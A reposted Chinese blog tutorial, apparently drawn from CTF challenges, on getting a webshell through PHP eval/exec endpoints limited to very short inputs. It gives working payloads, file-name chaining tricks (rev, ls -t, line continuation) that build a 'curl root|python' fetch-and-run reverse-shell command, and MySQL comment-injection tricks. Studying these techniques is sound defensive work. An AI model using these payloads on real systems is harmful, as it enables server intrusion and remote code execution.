如何在命令长度受限的情况下成功get到webshell(函数参数受限突破、mysql的骚操作)...

0x01 问题提出

还记得上篇文章记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门),我们讲到了一些PHP的一些如何巧妙地绕过数字和字母受限的技巧,今天我要给大家分享的是如何在命令长度受限的情况下成功get到webshell,以及关于函数参数受限的突破,mysql的一些骚操作技巧~~~

0x02 问题分析

我们先看个例子:

<?php$param = $_REGUEST['param'];if(strlen($param) < 17){eval($param);}
?>

上面这部分意思只是叫我们绕过长度受限就可以执行代码。这个其实就很简单了,我们可以采用调用eval或者assert这种后门函数就可以直接绕过了~~

eval函数中参数是字符,比如像下面这样子:

eval('echo 1;');

assert函数中参数为表达式(或者为函数),我们可以像下面这样子去实现:

assert(phpinfo()) 

而我参看了PHP手册才了解到,assert是函数,eval不是函数,是一种语言构造器,eval($a)$a只能是字符串,assert($a)$a可以是php代码,也可以是php代码的字符串。assert($a)$a如果是字符串形式不能有2个以上的分号,如果有2个以上的分号只执行到第一个,使用assert来执行多条php语句可借助eval来实现。

例如像下面这个样子:

assert(eval("echo 1;echo 2;"));

结果如下:

比如像上面这句,如果是assert(eval("echo 1;echo 2")),这样写是不会执行echo 1也不会执行echo 2的,因为eval使用的字符串要是有分号的php语句,只要有字符串,它就可以当作命令来执行~~

更多细节我们可以参看PHP手册:

eval函数:http://www.php.net/manual/zh/function.eval.php

assert函数:http://php.net/manual/zh/function.assert.php

那如果像下面这个例子呢?

<?php$param = $_REGUEST['param'];if(strlen($param) < 17 &&stripos($param, 'eval') == false &&stripos($param, 'assert') == false){eval($param);}
?>

striops函数是用来查找目标字符串在字符串中第一次出现的位置。这里的意思是限制了长度最长为 16 个字符,而且不能用 evalassert,这样我们又该怎么执行命令。

我们可以通过命令执行来绕过限制:

param=`$_GET[1]`;&1=bash

当然了,我们也可以用 exec函数:

param=exec($_GET[1]);

exec可以执行一个外部程序,具体的可以参看PHP手册:http://php.net/manual/zh/function.exec.php

那如果是这个呢?

<?php$command = 'dir '.$_POST['dir'];$escaped_command = escapeshellcmd($command);var_dump($escaped_command);file_put_contents('out.bat',$escaped_command);system('out.bat');
?>

我们对其进行测试:

我们应该如何去绕过呢?

我们来看看这些函数,escapeshellcmd() 函数对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec()system() 函数,或者执行操作符之前进行转义。

escapeshellcmd() 函数的详细用法参看PHP手册:http://php.net/manual/zh/function.escapeshellcmd.php

那么这个函数具体会转义哪些字符呢?

我们通读了源码可以知道,下图这些字符都可以用^来取代其意义。也就是没办法用& | 来执行其他命令,只能列目录

感兴趣的同学可以研究一下源码,我把源码传到本地了:https://files.cnblogs.com/files/ECJTUACM-873284962/exec.rar

那么我们萌生了一个这样的一个tips:执行.bat文件的时候,利用%1a,可以绕过过滤执行命令,我们做了如下尝试:

前面我们已经说了如何限制在16个字符内的情况下拿到webshell,在二进制漏洞利用中,当我们遇到可控数据只有8字节的情况,去掉字符串尾的\0,限制在7个字符。那么在这种情况下,我们又该怎么办呢?

还是看之前那个例子,把命令长度变成7。

<?php$param = $_REGUEST['param'];if(strlen($param) < 8){eval($param);}
?>

这让我想起赵本山演的那个小品《钟点工》里面的一个问题,把大象放进冰箱应该分为几步?

此时我们需要铺垫一些基础知识了。

我们可以进行命令的拼装。

我们来个条件更加苛刻的问题,命令长度限制在5,如何完成注入,成功get到webshell呢?

<?php$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);@mkdir($sandbox);@chdir($sandbox);if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {@exec($_GET['cmd']);} else if (isset($_GET['reset'])) {@exec('/bin/rm -rf ' . $sandbox);}highlight_file(__FILE__);

举个例子,我们要执行echo hello这个命令,我们应该怎么办呢?

我们可以进行如下构造:

>echo
>hello

结果如下:

我们可以看到创建了两个文件,分别是echo和hello,我们执行*命令

我们可以看到,执行了echo hello这行命令,所以直接打印出了hello字符串

我们可以通过echo *来查看一下*里面的内容

我们通过将>echo和>hello 完成命令拼接,然后用* 组成并执行了命令echo hello

如果条件再苛刻一点呢?把命令长度限制在4,如何完成注入,成功get到webshell呢?

<?php$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);@mkdir($sandbox);@chdir($sandbox);if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {@exec($_GET['cmd']);} else if (isset($_GET['reset'])) {@exec('/bin/rm -rf ' . $sandbox);}highlight_file(__FILE__);

比如,我们想要执行ls -l命令,我们可以模仿上面这种做法,进行如下构造:

>ls
>-l

结果如下:

我们可以看到创建了两个文件,分别是ls和-l,我们执行*命令

诶,这咋回事啊,咋还报错了呢?

其实啊,我们刚才生成的echo和hello,e的ASCII值要小于h,所以排序的时候自动将echo排在前面,hello排在后面,而ls我们可以看到,此时文件的显示顺序是-l在ls的前面。如果我们执行* 其实是执行-l ls会弹出报错信息

那么我们又该如何获得ls -l呢?

0x03 解决方案

01.命令内容反序

最简单的一种方式就是按照命令内容反着转过来。

我们可以这个命令字符序列反过来看 l- sl,这样是不是顺序正好满足要求呢?接下来我们只需要用一个可以把字符反过来的命令rev,就可以完成这个功能

所以首先第一步,我们先创建了两个文件,分别是l-sl。

>l-
>sl

结果如下:

然后将l- sl组合写入文件v,然后查看v文件里面的内容。

这里面我们可以看到文件v中多了一个v,对我们命令造成干扰,如果我们只想文件中存在l-sl,那该怎么办呢?

这里有个小trick,dir a b>c这个命令可以将a b写到文件c中,不会写入多余的命令进去。

我们创建一个名为dir的文件,然后执行*>v,可以获得l- ls

>dir
echo *
*>v
cat v

结果如下:

然后我们就只需要对这个命令字符序列反转一下就行了,这里我们有一个rev命令,正好可以将内容反序。

所以我们需要产生一个名为rev的文件,然后执行*v ,此时命令相当于rev v,命名为v是为了被通配符匹配,这样就产生了我们要的输出ls -l

>rev
ls
*v

 结果如下:

然后就是输出到文件x,然后就可以执行sh x,成功以4个字符执行长度为5的ls -l命令。

*v>x
cat x
sh x

结果如下:

把上面写的命令编成一个shell脚本如下:

#!/usr/bin/env bash
>l-
>sl
>dir
*>v
>rev
*v>x
sh x

我们可以看到,整个命令链长度均小于等于4,这样我们就可以愉快的执行ls -l命令了~

02.时间排序技巧

在ls命令里面有个参数-t,可以根据出现的时间进行排序,先生成的文件排在后面,后生成的文件排在前面,类似于栈的结构。

假设我们要生成ls -t >g命令,它的逆序是g< t- sl,按照ASCII值排序方式的话,t-会在sl后面,不满足需求。所以我们变通一下,生成命令ls -th >g,逆序就是g> ht- sl,正好满足顺序要求。

>g\>
>ht-
>sl
>dir
*>v
>rev
*v>x
cat x

结果如下:

03.续行符技巧拼接命令

 Linux里面有个神奇的符号\(反斜杠),可以进行命令的续行,比如下面这个例子,我创建了两个文件a和b,我们通过ls命令查看效果和续行效果是一样的。

>a
>b
ls
l\
s

结果如下:

这样,我们就可以构造一连串的拼接命令进行续行操作。再比如,我要构造命令curl root|python

>on
>th\\
>py\\
>\|\\
>ot\\
>ro\\
>\ \\
>rl\\
>cu\\
ls -t

结果如下:

这里我们可能会有点疑问,>th\\这里看着是5个字符,超过了4个的限制,实际上是因为shell环境需要输入\\产生\,但是php代码exec时,只需要输入\即可产生\,比如 exec(“>th\”)即可。所以这里实际上是不超过4个字符的。

 我们再执行ls -th>g,把这些按照时间顺序导入到g文件里面,再查看一下g文件

然后执行sh g反弹shell即可,这里我就不演示给大家看了,大家可以自己在本机上进行尝试即可~~

这里对如何在命令长度受限的情况下成功get到webshell做个小结:

  • w长度最短的命令
  • ls -t 以创建时间来列出当前目录下所有文件
  • 文件列表以[换行符]分割每个文件
  • 引入 `\` 转义ls时的换行
  • 换行不影响命令执行
  • 成功构造任意命令执行,写入Webshell

关于mysql部分还有一些注释技巧,我给大家列一下:

  • [#] 行内注释
  • [-- ] 行内注释,注意末尾的空格
  • [/*...*/] 段注释,可多行
  • [`] 某些情况下,可以作为注释
  • [;] 支持多句执行的情况下,可直接用分号闭合第一句SQL语句

具体的参考P牛的课件:来自小密圈里的那些奇技淫巧

0x04 扩展阅读

  • https://speakerd.s3.amazonaws.com/presentations/f81159300925466c88335f3cf740beb6/%E6%9D%A5%E8%87%AA%E5%B0%8F%E5%AF%86%E5%9C%88%E9%87%8C%E7%9A%84%E9%82%A3%E4%BA%9B%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7.pdf
  • https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html
  • https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html

转载于:https://www.cnblogs.com/ECJTUACM-873284962/p/9452263.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/570559.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

iOS开发造轮子 | 通用占位图

https://www.jianshu.com/p/beca3ac24031 实际运用场景&#xff1a; 没网时的提示view&#xff0c;tableView或collectionView没内容时的展示view&#xff0c;以及其它特殊情况时展示的特定view。如&#xff1a; 常见的几种情况我的目标&#xff1a; 对以上几种情况的展示view做…

java 计算26个字母在一段文本中出现的频率(保留小数点后4位)

public class FrequencyCalculator {public static void main(String[] args){//定义需要计算字母出现频率的文本String text"some off#acebooksea3rl255 yinvestorssoldofftheirstockatthefirs" "tchancetheygotbutceomarkzuckerbergishangingontohissharesfor…

string赋值-单引号和双引号的区别(php)

在赋予一个string值的时候&#xff0c;可以用单引号或者双引号。 1.单引号和双引号的区别&#xff1a; 单引号&#xff1a;不会翻译变量。 双引号&#xff1a;会翻译变量&#xff0c;会将变量替换为之前赋予变量的值。 例子&#xff1a; &#xff08;1&#xff09;单引号&a…

Hibernate常用的Java数据类型映射到mysql和Oracle

研究了常用的Java基本数据类型在mysql和oracle数据库的映射类型。这里使用的是包装类型做研究&#xff0c;一般在hibernate声明的时候最好不要用基本类型&#xff0c;因为数据库中的null空数据有可能映射为基本类型的时候会报错&#xff0c;但是映射到包装类型的时候值为null&a…

Front End Accessibility Development Guide

Header Carefully write heading(h1,h2,h3) for screen reader. Alternative Image Provide alt text for both essential and functional images. Provide empty alt text (alt””) for decorative images. Don’t repeat the alt text of an image in the adjacent text. De…

详细的Windows下安装 binwalk

1. https://github.com/ReFirmLabs/binwalk到这里下载binwalk&#xff0c;下载后解压。 2. 找到下载后的文件夹&#xff0c; 在这里要进行安装步骤&#xff0c;一边按着shift&#xff0c;一边按着鼠标右键&#xff0c;点击在此处打开命令窗口。 输入python setup.py install 安…

各大浏览器清除缓存(cache)详细步骤

1. Firefox 1.1 选择“Options”&#xff1a; 1.2 选择“Advanced”->“Network”->“Cached Web Content”&#xff0c;点击“Clear Now”&#xff1a; 2. Chrome 2.1 选择“Settings”&#xff1a; 2.2 点击页面底部“Show advanced settings”&#xff1a; 2.3 选择…

使用 angular directive 和 json 数据的 D3 带标签 donut chart示例

利用angular resource加载priorityData.json中的json数据&#xff0c;结合D3画出甜甜圈图。运行index.html结果如图所示&#xff1a; priorityData.json中json数据如下&#xff1a; { "priority":{ "Blocker":12,"Critical":18,"Major&qu…

第一个express app 详细步骤

1. 全局安装node.js&#xff08;请参考网上教程&#xff09;。 如何判断是否全局安装成功&#xff1f;打开命令行终端&#xff0c;进入任意文件夹&#xff0c;输入node&#xff0c;不报错。 2. 安装express 2.1 创建app文件夹。并在此文件夹下创建文件package.json如下&#…

Angularjs Nodejs Grunt 一个例子

做了一个简单的示例&#xff0c;目的是记录环境配置以及这套框架的结构流程。 1.配置环境 默认nodejs已安装。 安装以下模块&#xff1a;express&#xff08;nodejs框架&#xff09;,grunt&#xff08;javascript task runner&#xff09;,grunt-contrib-watch&#xff08;g…

PHP 常用设计模式 (转载)

1.单例模式 单例模式顾名思义&#xff0c;就是只有一个实例。作为对象的创建模式&#xff0c; 单例模式确保某一个类只有一个实例&#xff0c;而且自行实例化并向整个系统提供这个实例。 单例模式的要点有三个&#xff1a; 一是某个类只能有一个实例&#xff1b;二是它必须自行…

Angularjs切换网站配色模式简单示例1(切换css文件)

一个网站可以有多种配色方案&#xff0c;例如正常模式&#xff0c;夜间模式等。 简单示例一个通过点击按钮&#xff0c;更换css文件&#xff0c;达到切换配色模式的angularjs 小app。 主要文件有三个&#xff1a;index.html&#xff08;主文件&#xff09;&#xff0c;white.…

Angularjs切换网站配色模式简单示例2(切换body元素的class)

一个网站可以有多种配色方案&#xff0c;例如正常模式&#xff0c;夜间模式等。 简单示例一个通过点击toggle 按钮&#xff0c;切换body元素的class&#xff0c;达到切换配色模式的angularjs小app。 1. Live范例可以在以下Codepen网址查看&#xff1a; http://codepen.io/Chris…

Eclipse中Maven项目出现红色感叹号问题

在Eclipse环境下&#xff0c;有时我们会遇到Maven项目出现红色感叹号的情形&#xff0c;而一旦项目出现感叹号&#xff0c;Eclipse便无法帮我们进行自动编译等工作&#xff0c;尽管有时候不会影响运行&#xff0c;但每次只能手动启动Maven重新编译&#xff0c;非常不便&#xf…

GitHub 配置及简单使用

一. 初始化 1. 初始化 git 目录 终端中进入到项目文件夹&#xff0c;然后输入以下命令。 git init 命令执行后&#xff0c;文件夹中会多一个.git 文件夹 2. 设置本机关联 GItHub 的用户名和邮箱 git config --global user.name "<username>" git conf…

Javascript 处理 JSON 数据 示例

最近做了一个 MEAN stack 的 app 。后台用 NodeJS 从 Jira rest api 获得JSON数据并做处理&#xff0c;然后前端用 AngularJS Ajax call 获得处理后的 JSON 数据&#xff0c;显示到 App 上。处理了很多 JSON 数据&#xff0c;决定编一个例子&#xff0c;写一个总结。 JSON 数据…

第一个 Rails App 从安装到创建(windows版本)

1. 在以下网址下载并运行 Rails 安装包&#xff1a; 点击打开链接 2. 检查 ruby&#xff0c;sqlite 和 rails 是否安装成功 2.1 查看 ruby 版本&#xff0c; 在命令行中输入&#xff1a; ruby -v 运行截图如下&#xff1a; 2.2 查看 sqlite 版本&#xff0c;在命令行中输入&…

Ruby Variable Scope 简单讲解

Name Begins WithVariable Scope$A global variableAn instance variable[a-z] or _A local variable[A-Z]A constantA class variable 以一个简单例子示例各种变量的区别&#xff1a;class Female# ConstantSEX female# Class variable: shared among all instances of this …

【Luogu P2781】 传教

这题是可以用线段树做的。虽然$n\leq 10^9$可以发现&#xff0c;真正需要用到的节点很少&#xff0c;故动态开点&#xff0c;只有需要用到的时候才新建节点。这里我在下放标记的时候新建节点&#xff0c;因为每操作/查询一个节点都需要先下放标记。时间复杂度$O(m\log n)$&…

Rails用DELETE method提交表单讲解

Sometimes we need to submit form using methods other than ‘post’, in this example, it’s ‘delete’. For example, I wanted to delete a user when a form is submitted with the user name and ‘delete’ method. 1. I created the route like this: delete ‘test…